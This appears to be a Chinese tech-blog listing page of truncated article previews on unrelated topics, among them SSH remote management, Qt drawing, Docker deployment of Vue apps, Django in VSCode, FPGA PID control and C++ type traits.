目录 一、SSH远程管理 1、SSH定义 2、SSH客户端和服务端 3、SSH工作类型 3.1、对称加密 3.2、非对称加密 4、SSH工作原理 公钥传输原理 4.1、基本概念 4.2、工作过程 5、OpenSSH服务器 二、SSH远程登录方式 1、SSH直接远程登录 2、SSH指定端口登录 3、黑白名单 …...
Qt 绘图详解
文章目录 头文件和构造函数启用反锯齿功能绘制矩形绘制圆角矩形绘制椭圆绘制圆弧绘制弦绘制凸多边形绘制图片绘制直线绘制多条直线绘制多点连接的线绘制路径绘制扇形绘制点绘制文本擦除矩形区域填充矩形填充路径 头文件和构造函数 #include "mainwindow.h" #include…...
Python 爬虫与 Java 爬虫:相似之处、不同之处和选项
在信息时代,网络上可用的数据量巨大且不断增长。为了从这些数据中提取有用的信息,爬虫已成为一种重要的技术。Python 和 Java 都是流行的编程语言,都具有强大的爬虫功能。本文将深入探讨 Python 爬虫和 Java 爬虫之间的差异,以帮助…...
视频监控汇聚平台LntonCVS视频监控系统解决智慧产业园的安全应用方案
近年来,随着全国各地数字化转型和相关政策的出台,数字化和智慧化在各行业迅速发展,尤其是作为产业集群重要组成部分的产业园区。然而,园区智慧化进程加快的同时,数字化转型面临着诸如视频监控数据分散、联通不畅、碎片…...
MAVLink代码生成-C#
一. 准备Windows下安装环境 Python 3.3 – 官网链接下载Python future模块 –pip3 install future TkInter (GUI 工具). – python for Windows自带,无需下载环境变量PYTHONPATH必须包含mavlink存储库的目录路径。 –set PYTHONPATH你的mavlink源码路径 源码下载在…...
二四、3d人脸构建
一、下载github项目3dmm_cnn-master https://github.com/anhttran/3dmm_cnn.git 一个使用深度神经网络从单个图像进行 3D 人脸建模的项目,端到端代码,可直接根据图像强度进行 3D 形状和纹理估计;使用回归的 3D 面部模型,从检测到的面部特征点估计头部姿势和表情。…...
web vue 项目 Docker化部署
Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段: 构建阶段(Build Stage):…...
生成xcframework
打包 XCFramework 的方法 XCFramework 是苹果推出的一种多平台二进制分发格式,可以包含多个架构和平台的代码。打包 XCFramework 通常用于分发库或框架。 使用 Xcode 命令行工具打包 通过 xcodebuild 命令可以打包 XCFramework。确保项目已经配置好需要支持的平台…...
使用VSCode开发Django指南
使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架,专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用,其中包含三个使用通用基本模板的页面。在此…...
基于FPGA的PID算法学习———实现PID比例控制算法
基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容:参考网站: PID算法控制 PID即:Proportional(比例)、Integral(积分&…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...
基于Uniapp开发HarmonyOS 5.0旅游应用技术实践
一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架,支持"一次开发,多端部署",可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务,为旅游应用带来…...
工程地质软件市场:发展现状、趋势与策略建议
一、引言 在工程建设领域,准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具,正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...
【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验
系列回顾: 在上一篇中,我们成功地为应用集成了数据库,并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了!但是,如果你仔细审视那些 API,会发现它们还很“粗糙”:有…...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...
